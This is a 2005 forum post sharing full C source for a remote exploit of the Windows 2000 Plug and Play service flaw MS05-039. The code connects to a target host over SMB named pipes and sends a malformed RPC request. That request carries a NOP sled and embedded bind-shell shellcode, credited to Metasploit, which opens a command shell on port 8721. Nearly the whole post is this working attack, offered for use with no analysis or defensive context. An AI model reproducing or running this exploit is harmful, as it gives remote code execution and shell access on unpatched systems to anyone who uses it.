RemoteConnection 0 Report post Posted September 1, 2005 (edited) Microsoft Windows 2000 Plug and Play Universal Remote Exploit (MS05-039) /*Windows 2000 universal exploit for MS05-039-\x6d\x35\x6c\x30\x6e\x6e\x79-*/#include <windows.h>#include <winnetwk.h>#include <winsock.h>#include <Rpc.h>#include <wchar.h>#include <stdio.h>#include <stdlib.h>#pragma comment(lib, "mpr")#pragma comment(lib, "Rpcrt4")BYTE Data1[0x68] ={0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x52,0x00,0x4F,0x00,0x4F,0x00,0x54,0x00,0x5C,0x00,0x53,0x00,0x59,0x00,0x53,0x00,0x54,0x00,0x45,0x00,0x4D,0x00,0x5C,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xEE,0xEE,0xEE,0xEE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00};struct DataStruct1{BYTE SomeString[0x30];DWORD RESDataType;DWORD LFD;DWORD SDM1;DWORD SDO;DWORD SDL;DWORD SDM2;BYTE SDA[0x07D0];DWORD LRD;DWORD MB;DWORD DM;};struct RPCBIND{BYTE VerMaj;BYTE VerMin;BYTE PacketType;BYTE PacketFlags;DWORD DataRep;WORD FragLength;WORD AuthLength;DWORD CallID;WORD MaxXmitFrag;WORD MaxRecvFrag;DWORD AssocGroup;BYTE NumCtxItems;WORD ContextID;WORD NumTransItems;GUID InterfaceUUID;WORD InterfaceVerMaj;WORD InterfaceVerMin;GUID TransferSyntax;DWORD SyntaxVer;};//from metasploit, before you were bornBYTEBindShell[374]={"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c""\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32""\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07""\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24""\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8""\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64""\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e""\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56\x53""\x89\xe5\xe8\x27\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4""\x19\x70\xe9\xe5\x49\x86\x49\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xd9""\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d""\x4b\x20\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x07\x59\x51""\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54""\xff\x37\xff\x55\x30\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff""\x55\x2c\x89\xc7\x31\xdb\x53\x53\x68\x02\x00\x22\x11\x89\xe0\x6a""\x10\x50\x57\xff\x55\x24\x53\x57\xff\x55\x28\x53\x54\x57\xff\x55""\x20\x89\xc7\x68\x43\x4d\x44\x00\x89\xe3\x87\xfa\x31\xc0\x8d\x7c""\x24\xac\x6a\x15\x59\xf3\xab\x87\xfa\x83\xec\x54\xc6\x44\x24\x10""\x44\x66\xc7\x44\x24\x3c\x01\x01\x89\x7c\x24\x48\x89\x7c\x24\x4c""\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49""\x51\x51\x53\x51\xff\x75\x00\x68\x72\xfe\xb3\x16\xff\x55\x04\xff""\xd0\x89\xe6\xff\x75\x00\x68\xad\xd9\x05\xce\xff\x55\x04\x89\xc3""\x6a\xff\xff\x36\xff\xd3\xff\x75\x00\x68\x7e\xd8\xe2\x73\xff\x55""\x04\x31\xdb\x53\xff\xd0"};BYTE PRPC[0x48] ={0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0xD9,0x2E,0xF5,0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};struct RPCFUNC{BYTE VerMaj;BYTE VerMin;BYTE PacketType;BYTE PacketFlags;DWORD DataRep;WORD FragLength;WORD AuthLength;DWORD CallID;DWORD AllocHint;WORD ContextID;WORD Opnum;};BYTE POP[0x27] ={0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xAC,0x10,0x00,0x00,0x01,0x00,0x00,0x00,0x94,0x10,0x00,0x00,0x00,0x00,0x09,0x00,0x05,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x08,0x00,0x00,0x41,0x00,0x41};int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer) {BYTE rbuf[0x1000];DWORD dw;struct RPCBIND RPCBind;memcpy(&RPCBind,&PRPC,sizeof(RPCBind));UuidFromString(Interface,&RPCBind.InterfaceUUID);UuidToString(&RPCBind.InterfaceUUID,&Interface);RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]);RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]);TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf,sizeof(rbuf), &dw, NULL);return 0;}int Attack(HANDLE PipeHandle){struct RPCFUNC RPCOP;int bwritten=0;BYTE *LargeBuffer;BYTE rbuf[0x100];DWORD dw;struct DataStruct1 EvilRPC;memcpy(&EvilRPC,&Data1,sizeof(EvilRPC));EvilRPC.SDL=0x07C0;memset(EvilRPC.SDA,0x90,0x07D0);EvilRPC.SDA[76]=0x3e;EvilRPC.SDA[77]=0x1e;EvilRPC.SDA[78]=0x02;EvilRPC.SDA[79]=0x75;memset(EvilRPC.SDA+80,0x90,10);EvilRPC.SDA[90]=0x90;memcpy(EvilRPC.SDA+94,BindShell,374);EvilRPC.MB=0x00000004;EvilRPC.DM=0x00000000;EvilRPC.LFD=0x000007E0;EvilRPC.LRD=0x000007E0;memcpy(&RPCOP,&POP,sizeof(RPCOP));RPCOP.Opnum = 54;RPCOP.FragLength=sizeof(RPCOP)+sizeof(EvilRPC);RPCOP.AllocHint=sizeof(EvilRPC);LargeBuffer=malloc(sizeof(RPCOP)+sizeof(EvilRPC));memset(LargeBuffer,0x00,sizeof(RPCOP)+sizeof(EvilRPC));memcpy(LargeBuffer,&RPCOP,sizeof(RPCOP));memcpy(LargeBuffer+sizeof(RPCOP),&EvilRPC,sizeof(EvilRPC));printf("Sending payload...\nThis has to time out... ctrl+c after5 secs\ncheck for shell on port 8721");TransactNamedPipe(PipeHandle, LargeBuffer,sizeof(RPCOP)+sizeof(EvilRPC), rbuf, sizeof(rbuf), &dw, NULL);free(LargeBuffer);return 0;}int main(int argc, char* argv[]){char *server;NETRESOURCE nr;char unc[MAX_PATH];char szPipe[MAX_PATH];HANDLE hFile;if (argc < 2){printf("Usage: %s <host>\n", argv[0]);return 1;}server=argv[1];_snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server);unc[sizeof(unc)-1] = 0;nr.dwType = RESOURCETYPE_ANY;nr.lpLocalName = NULL;nr.lpRemoteName = unc;nr.lpProvider = NULL;WNetAddConnection2(&nr, "", "", 0);_snprintf(szPipe, sizeof(szPipe),"\\\\%s\\pipe\\browser",server);hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,OPEN_EXISTING, 0, NULL);BindRpcInterface(hFile,"8d9f4e40-a03d-11ce-8f69-08003e30051b","1.0");//SendMalformed RPC requestAttack(hFile);return 0;} Notice from cmatcmextra: Codebox tags added instead of code tags - again Edited September 1, 2005 by cmatcmextra (see edit history) Share this post Link to post Share on other sites